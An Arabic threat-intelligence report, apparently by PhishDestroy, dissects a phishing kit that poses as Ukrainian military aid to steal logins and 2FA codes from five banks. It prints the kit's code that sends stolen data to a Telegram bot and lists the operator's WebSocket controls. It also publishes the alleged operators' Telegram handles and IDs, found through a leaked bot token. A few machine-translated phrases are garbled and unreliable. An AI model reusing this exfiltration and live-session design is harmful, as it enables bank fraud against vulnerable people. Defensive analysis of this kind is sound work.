الكشف عن شبكة تصيد احتيالي تستهدف المساعدات العسكرية: استهداف 5 بنوك، وتحديد هوية القائمين على العملية

ما توصل إليه موقع PhishDestroy

في 20 مارس 2026، أشارت Pipeline الآلية للكشف عن التهديدات التابعة لـ PhishDestroy إلى dopomogvoina[.]sbs — نطاق تم تسجيله مؤخرًا ويستضيف موقعًا للتصيد الاحتيالي ينتحل صفة "درع الحامي" (درع المدافع)، وهو موقع مزيف يزعم تقديم مساعدات عسكرية لأوكرانيا. يستهدف الموقع المحاربين القدامى الأوكرانيين والجرحى في القتال وأسر الجنود الشهداء، ويوهمهم بتقديم مساعدات مالية حكومية بينما يقوم في الواقع بسرقة بيانات تسجيل الدخول المصرفية لخمسة من أكبر البنوك الأوكرانية.

فيما يلي تحليل شامل لكل ما كشفه تحليلنا الآلي: أساليب الهندسة الاجتماعية، والبنية التحتية التقنية، ونظام التحكم في الوقت الفعلي الذي يديره المشغلون، وهويات الأشخاص الذين يديرونه.

القسم الأول: الطُعم — مؤسسة المساعدات العسكرية المزيفة

النطاق dopomogvoina[.]sbs تم تسجيله في 20 مارس 2026 من خلال شركة مجموعة NiceNIC الدولية المحدودة، وهي هيئة تسجيل لها سجل موثق جيدًا من حيث بطء الاستجابة لحالات الإساءة أو عدم الاستجابة لها على الإطلاق. إن .sbs TLD (Side-By-Side) هو نطاق عام عالي المستوى (gTLD) منخفض التكلفة يُستغل بشكل متكرر لإنشاء بنى تحتية مؤقتة لأغراض التصيد الاحتيالي.

يقدم الموقع نفسه على أنه بوابة مساعدة احترافية مرتبطة بالحكومة. يملأ علم أوكرانيا الجزء العلوي من الصفحة، وتضفي الصور العسكرية مصداقية على الموقع، كما أن الصفحة مكتوبة بعناية باللغة الأوكرانية باستخدام صياغة بيروقراطية تعكس طابع البرامج الحكومية الشرعية.

لقطة الشاشة 5 — الصفحة الرئيسية لموقع التصيد الاحتيالي الذي ينتحل صفة «Щит Захисника» (درع المدافع).

ولبناء المصداقية، قام المشغلون بتلفيق عداد إحصائي تم عرضه في مكان بارز على الصفحة الرئيسية:

• 2,847 طلبًا — مما يعني أن الآلاف قد تلقوا المساعدات بالفعل
• تم توزيع ₴47.2M — شخصية بارزة لكنها مقنعة في جامعة ألتاي
• 19 برنامجًا — مما يشير إلى عملية شاملة تتضمن برامج متعددة

هذه الأرقام ملفقة بالكامل، وقد تم تضمينها بشكل ثابت في كود مصدر الصفحة دون أي ارتباط بالخادم الخلفي. وهي تخدم غرضًا واحدًا: تقديم دليل اجتماعي للتغلب على تردد الضحية.

القسم الثاني: الفخ — 5 بنوك، هدف واحد

بعد النقر على زر «Подати заявку» (تقديم الطلب)، تظهر للضحية شاشة لاختيار البنك. وتظهر خمسة من أكبر البنوك التجارية في أوكرانيا كخيارات، مع عرض العلامة التجارية والشعار الرسميين لكل منها. وهنا يتحول أسلوب الهندسة الاجتماعية من التلاعب العاطفي إلى السرقة التقنية.

لقطة الشاشة 6 — شاشة اختيار البنك. كل خيار يؤدي إلى تسلسل مخصص لسرقة بيانات الاعتماد.

كشف تحليل حزمة جافا سكريبت الخاصة بالموقع أن كل بنك لديه تسلسل فريد من نوعه لجمع بيانات الاعتماد عبر عدة خطوات، مصممة خصيصًا لتتوافق مع مسار المصادقة الفعلي لذلك البنك:

يتبع مسار الهجوم في كل بنك النمط نفسه:

لقطة الشاشة 7 — صفحة تسجيل الدخول المقلدة لموقع PrivatBank.

لقطة الشاشة 9 — صفحة تسجيل الدخول إلى PUMB المستنسخة.

لقطة الشاشة رقم 10 — مسار الهجوم الكامل: بدءًا من صفحة المساعدات العسكرية المزيفة، مرورًا باختيار البنك، وصولاً إلى سرقة بيانات الاعتماد والاستيلاء على الحساب.

مجموعة التقنيات المستخدمة: تطبيق React أحادي الصفحة (SPA) الواجهة الأمامية التي يتم تقديمها عبر شبكة توزيع المحتوى (CDN) من Cloudflare، مع Express.js الجزء الخلفي الذي يتولى تسريب بيانات الاعتماد. تتيح بنية React إنشاء نماذج متعددة الخطوات تعمل بسلاسة ولا يمكن تمييزها عن واجهات الخدمات المصرفية الأصلية.

القسم 3: التحكم المباشر من قبل المشغل

هذا ليس مجرد أداة لجمع بيانات الاعتماد تعتمد على قاعدة بيانات ثابتة. تتضمن مجموعة أدوات التصيد ما يلي: لوحة تحكم WebSocket المباشرة التي تتيح للمشغل البشري التحكم في كل جلسة من جلسات الضحايا في الوقت الفعلي.

نقطة نهاية WebSocket الموجودة على wss://dopomogvoina[.]sbs/ws يدعم أنواع الرسائل التالية:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

يتيح هذا التحكم في الوقت الفعلي للمشغل ما يلي:

• فرض حالة الانتظار — عرض الرسالة "جاري معالجة طلبك..." أثناء قيامهم بتسجيل الدخول إلى الحساب المصرفي الحقيقي للضحية
• إعادة التوجيه إلى خطوة معينة — إعادة طلب رمز الرسالة القصيرة في حالة انتهاء صلاحية الرمز الأول
• عرض رسائل خطأ وهمية — «الرمز غير صالح، يرجى إعادة إدخاله» لجمع عدة رموز مصادقة ثنائية (2FA)
• طرح أسئلة مخصصة — طلب تاريخ الميلاد أو رقم البطاقة أو أي بيانات إضافية أثناء الجلسة

لقطة الشاشة 8 — نموذج إدخال رقم الهاتف المستخدم لبدء عملية سرقة بيانات الاعتماد.

لقطة الشاشة 11 — لوحة التحكم في البوت الخاصة بالمشغل، والتي تتيح له التحكم في جلسات الضحايا في الوقت الفعلي.

مجموعة البيانات الكاملة التي تمت سرقتها في كل جلسة: phone, password, PIN, SMS code, card number, date of birth، و email.

القسم 4: ما وراء Cloudflare — مشروعان، خادم واحد

يعمل نظام الوكالة الخاص بـ Cloudflare على إخفاء الخادم الأصلي، لكن Pipeline لتحليل البنية التحتية لـ PhishDestroy تمكن من تحديد عنوان IP الأصلي الحقيقي: 45.131.214[.]148، والمستضاف على RapidSeedbox / LeaseWeb في هولندا.

تفصيل مهم: dopomogvoina[.]sbs يتم توجيهه عبر Cloudflare، مع إخفاء عنوان IP المصدر. لكن نظامنا يتتبع أيضًا hlpforvpeople[.]sbs — نطاق ذو صلة تم تسجيله عبر نفس مسجل NiceNIC مع أنماط متطابقة. وهذا النطاق هو ليس خلف Cloudflare، مما يكشف عن عنوان IP الأصلي بشكل مباشر: 45.131.214[.]148.

الاتصال بهذا العنوان IP مباشرةً — دون Host العنوان — كشف عن شيء غير متوقع: أ موقع تصيد مختلف تمامًا. بدلاً من المساعدات العسكرية الأوكرانية، تم تقديم خدمة المضيف الافتراضي "بطاقة الرعاية الصحية"، وهي عملية تصيد احتيالي تتعلق بالتأمين الصحي في إندونيسيا. نفس الخادم، ضحايا مختلفون تمامًا، بلد مختلف تمامًا.

لقطة الشاشة 12 — عمليتان متوازيتان للتصيد الاحتيالي تشتركان في نفس خادم المنشأ: المساعدات العسكرية الأوكرانية (dopomogvoina) والتأمين الصحي الإندونيسي (HealthCare ID).

قالب التصيد الاحتيالي الإندونيسي هو مجموعة معروفة تم تعقبها في قاعدة بيانات معلومات التهديدات الخاصة بـ PhishDestroy. وقد لاحظنا نشر نسخ مختلفة من هذا النموذج بالذات في أنحاء جنوب شرق آسيا — تستهدف المؤسسات المالية الإندونيسية والتايلاندية والفيتنامية. ويكتفي المشغلون باستبدال النماذج الخاصة بكل بلد مع إعادة استخدام البنية التحتية الخلفية نفسها.

القسم 5: ملف config.json الذي كشف كل شيء

إليكم كيف أدى ملف واحد تم تكوينه بشكل خاطئ إلى انهيار العملية برمتها — خطوة بخطوة.

بعد تحديد المشروع الثاني لخادم المصدر، قام موقع PhishDestroy بـ محلل JS — أداة التحليل الآلي لـ JavaScript الخاصة بنا — تم توجيهها نحو حزمة موقع التصيد الإندونيسي على https://45.131.214[.]148/assets/index-ZMQxHb_h.js. استخرج المُحلل جميع نقاط نهاية واجهة برمجة التطبيقات (API) وعناوين URL الخارجية ومسارات التكوين من ملف جافا سكريبت الذي يبلغ حجمه 335 كيلوبايت. ومن بين النتائج التي توصل إليها:

• خمس نقاط نهاية لواجهة برمجة التطبيقات (API) على rezervtemka[.]cc — لوحة C2 الخاصة بالتحقق من بيانات الاعتماد
• اتصال WebSocket بـ wss://rezervtemka[.]cc
• دمج «فيسبوك بيكسل» لتتبع الضحايا
• إشارة إلى /config.json — يتم تحميله أثناء التشغيل لتكوين روبوت Telegram

وانطلاقًا من هذا الدليل، قمنا باسترداد /config.json من عنوان IP المصدر. كان الملف متاحًا دون أي مصادقة — حيث كان موجودًا في جذر موقع الويب، ويمكن لأي شخص قراءته:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

الـ /config.json كان من الممكن الوصول إلى الملف مباشرةً من عنوان IP الأصلي — لا توجد مصادقة، ولا تحكم في الوصول، مجرد ملف JSON عادي موجود في جذر الموقع الإلكتروني:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

يُعد رمز بوت Telegram اسم المستخدم وكلمة المرور في آن واحد. ويمكن لأي شخص يمتلك هذا الرمز إجراء استدعاءات API بصفته ذلك البوت. وقد ترك المشغلون رموزهم في ملف متاح للجمهور. وبعد ستة استدعاءات لواجهة برمجة التطبيقات (API)، أصبح لدينا كل شيء:

لقطة الشاشة 13 — سلسلة OSINT الكاملة: من ملف config.json الذي تم الكشف عنه إلى تحديد هوية المشغل بالكامل في 6 استدعاءات لواجهة برمجة التطبيقات.

بدءًا من ملف واحد تم تكوينه بشكل خاطئ وصولاً إلى تحديد هوية المشغلين بالكامل من خلال ستة طلبات HTTP. لا توجد ثغرات أمنية، ولا وصول غير مصرح به — مجرد مكالمات قياسية لواجهة برمجة تطبيقات روبوت Telegram باستخدام رمز مميز تركه المشغلون أنفسهم مكشوفًا.

القسم 6: المشغلون

لقطة الشاشة 14 — مجموعة مشغلي Telegram «Idr card»، التي تم الكشف عنها من خلال رمز البوت المسرب.

المالك / المؤسس

مونيتي إسكوبار

@monettiescobar

معرّف Telegram: 8135223234

Telegram Premium، ملف تعريف الأعمال

المنطقة الزمنية: UTC+3 (منطقة رابطة الدول المستقلة)

10 رسائل عامة — إجراءات أمنية صارمة (OPSEC)

دردشة TraFFeeQميدوسا جوجل إعلاناتقناة «ديبفايكس»

مشغل / حركة المرور

بونيا

@BoaCC159

معرّف Telegram: 6242202706

المعروف أيضًا باسم: PapaZakonVor، Boa، bubullikk

261 رسالة موزعة على 12 مجموعة

DC2 — أمستردام، هولندا

CryptoGrabسوق STYXرايفن سي سيدردشة إمبايرحل فينيكس

مطور / مبرمج

ديفويس

@devosus

معرّف Telegram: 8213612730

مطور مجموعة أدوات التصيد الاحتيالي — يُطلق عليه المشغلون لقب «المبرمج»

يُطلب منهم «التفكير في الإجراءات الدفاعية» عند اكتشاف الاختراق

تصميم يهدف إلى تقليل الأثر على البيئة إلى أدنى حد ممكن

المقبض @devosus ≈ "dev ops us" — المسمى الوظيفي كاسم مستخدم

مطور مجموعة الأدواتالبنية التحتيةالأمن

مونتي إسكوبار — «الزعيم»

تلتزم شركة «مونتي» بأمن تشغيلي صارم — فقط 10 رسائل عامة عبر مجموعتين. لكن المجموعتين ترويان القصة: دردشة TraFFeeQ (المضاربة المرورية لأغراض الاحتيال)، ميدوسا جوجل إعلانات (إعلانات Google غير المشروعة)، و قناة «ديبفايكس». يذكر ملفه الشخصي التجاري على Telegram عبارة «Есть предложение» ("لدي اقتراح") — الإعلان الصريح عن الخدمات. ويؤكد التوقيت الزمني UTC+3 (الذي يتطابق مع توقيت موسكو/مينسك/كييف) وساعات العمل على مدار الساعة طوال أيام الأسبوع أن هذه العملية تتم من مقرها في رابطة الدول المستقلة وتعمل على مدار الساعة.

بونيا — المتهور

على عكس الإجراءات الأمنية التشغيلية (OPSEC) الصارمة التي يتبعها «مونتي»، فإن «بونيا» (الاسم المستعار السابق: بابازاكونفور — أي ما يعني تقريبًا «الأب اللص بموجب القانون») ترك وراءه آثارًا رقمية هائلة — 261 رسالة موزعة على 12 مجموعة سرية. ويبدو سجل محادثاته وكأنه سيرة ذاتية لمجرم:

تُظهر عضوياته في المجموعات صورة كاملة: CryptoGrab (مستنزفو أموال محافظ العملات المشفرة)، سوق STYX (سوق سرية للبيانات المسروقة)، أداة التحقق من Raven CC (أدوات التحقق من صحة بطاقات الائتمان)، دردشة إمباير و حل فينيكس (تنسيق عمليات الاحتيال). هذا ليس مجرماً ارتكب جريمة لمرة واحدة — بل هو شخص متجذر في منظومة الجرائم الإلكترونية.

ديفويس — المطور

العمود الفقري التقني للعملية. صُممت لتترك أثرًا ضئيلًا للغاية على الصعيد العام — وعندما تعرضت المجموعة للاختراق، اتصل بونيا به صراحةً: "@devosus فكر في الدفاع قبل أن يمزقوا مؤخرتنا" — "@devosus فكر في الدفاع قبل أن نتعرض لهزيمة ساحقة." رده الساخر على هذا الانتهاك — "عندما يكون في الإنتربول" ("متى يتم استخدام الاستيفاء") — مما يشير إلى أن هذه ليست المرة الأولى التي ينجون فيها بأعجوبة.

تحليل السلوك: فك شفرة 261 رسالة

قام Pipeline OSINT التابع لـ PhishDestroy بجمع وترجمة جميع الرسائل العامة البالغ عددها 261 رسالة من «بونيا» عبر 12 مجموعة سرية على تطبيق «Telegram» (يونيو 2024 — مارس 2026). ترجمة آلية عبر API من تطبيق DeepL مع تصحيح يدوي للسياق. تكشف الرسائل عن ملف تشغيلي كامل — مصنف أدناه حسب نوع النشاط الإجرامي.

الاحتيال المصرفي والتصيد الاحتيالي

ناقلو الأموال وعمليات سحب الأموال

الاحتيال في حركة المرور وإساءة استخدام الإعلانات

مونتي إسكوبار: الرئيس الصامت

وعلى النقيض تمامًا من رسائل بونيا البالغ عددها 261 رسالة، فإن مونتي لم يرسل سوى 10 رسائل عامة — كل ذلك في موضوع واحد على دردشة TraFFeeQ (المراجحة في حركة المرور السوداء عبر الإعلانات المباشرة/تحسين محركات البحث)، دفاعًا عن زميل:

مجموعات «مونتي» على Telegram تكشف الباقي: ميدوسا جوجل إعلانات (الاحتيال في مجال الدفع مقابل النقر من قبل المخترقين)، أ قناة «ديبفايكس» (وسائل اصطناعية لأغراض الاحتيال)، و دردشة مارلبورو (خاص، غير معروف). اشتراك Telegram Premium، ساعات العمل على مدار الساعة طوال أيام الأسبوع، و«Есть предложение» ("لدي اقتراح") ترسم السيرة المهنية لشخص ما صورة لشخص يتعامل مع الجرائم الإلكترونية باعتبارها مشروعًا يكرس له وقته بالكامل.

لقطة الشاشة 2 — ملف MONETTI الشخصي على Telegram.

لقطة الشاشة 3 — الملف الشخصي لـ «بونيا». لاحظ DC2 (أمستردام).

القسم 7: غرفة الطوارئ

بعد أن تمكن «PhishDestroy» من الوصول إلى مجموعة المشغلين عبر روبوت Telegram الذي تم الكشف عنه، جرت المحادثة التالية. تمت ترجمة سجل المحادثة الوارد أدناه إلى اللغة الإنجليزية مع الاحتفاظ بالنص الروسي الأصلي مكتوبًا بخط مائل. وقد تم حجب الهوية المستخدمة للدخول.

تم حذف المجموعة في غضون دقائق. ويكشف إقرار بونيا عند المغادرة — «+» — وتأكيد ديفويس بعبارة «نعم» عن القصة بأكملها: كانوا يعلمون أن أمرهم قد انكشف، ولم يكن أمامهم سوى تدمير الأدلة. ولكن بحلول ذلك الوقت، كانت البيانات قد تم تسجيلها بالفعل.

لاحظوا تعليق بونيا الذي يكشف الكثير: "تعرضنا أيضًا لهجوم على البوت الأوكراني" — مما يؤكد أن كلا المشروعين (الأوكراني والإندونيسي) يشتركان في نفس فريق التشغيل، وأن هذه ليست المرة الأولى التي تتعرض فيها بنيتهما التحتية للاختراق.

القسم 8: ما الذي يوضحه هذا؟

الجدول الزمني للتحقيق

المجالات ذات الصلة

وقد حدد تحليلنا مجالًا ثانيًا — hlpforvpeople[.]sbs — مسجلان لدى نفس الجهة المسجلة مع أنماط بنية تحتية متطابقة. وكلا النطاقين موثقان في قاعدة بياناتنا:

• تقرير PhishDestroy: dopomogvoina[.]sbs
• تقرير PhishDestroy: hlpforvpeople[.]sbs

النقاط الرئيسية

• الأتمتة هي السبيل الوحيد لمواكبة التطورات. يتم نشر مجموعات أدوات التصيد الاحتيالي وتسليحها في غضون ساعات. ولا يمكن للمراجعة اليدوية مواكبة هذا التوسع.
• المشغلون يرتكبون أخطاء. أدى ملف إعدادات مكشوف في مشروع ثانوي إلى الكشف عن عملية تصيد احتيالي متعددة الجنسيات بأكملها. من الصعب الحفاظ على أمن العمليات (OPSEC) المثالي في جميع المشاريع.
• تتطور الهندسة الاجتماعية مع تغير الأحداث الإخبارية. يتم استغلال الحرب والمساعدات الإنسانية والبرامج الحكومية بشكل متزايد كطُعم لعمليات التصيد الاحتيالي، لأنها تستهدف الأشخاص الذين يمرون بظروف صعبة والذين تقل احتمالية تشكيكهم في شرعية هذه العمليات.
• إعادة استخدام البنية التحتية هي القاعدة. خادم واحد، مشروعان للتصيد الاحتيالي، بلدان، نفس المشغلين. إن تتبع روابط البنية التحتية يكشف عن معلومات أكثر بكثير مما يكشفه تحليل نطاق واحد بمعزل عن غيره.

إخلاء المسؤولية: أُجري هذا التحقيق بالكامل من خلال الاستطلاع السلبي وواجهات برمجة التطبيقات (API) العامة. ولم يتم إجراء أي وصول غير مصرح به إلى أي نظام. استخدمت استدعاءات واجهة برمجة تطبيقات (API) روبوت Telegram رمزًا مميزًا (token) كشف عنه المشغلون علنًا في نقطة نهاية غير خاضعة للمصادقة. وقد تم إخفاء جميع أسماء النطاقات الواردة في هذا المقال وفقًا للأعراف القياسية في مجال أمن المعلومات.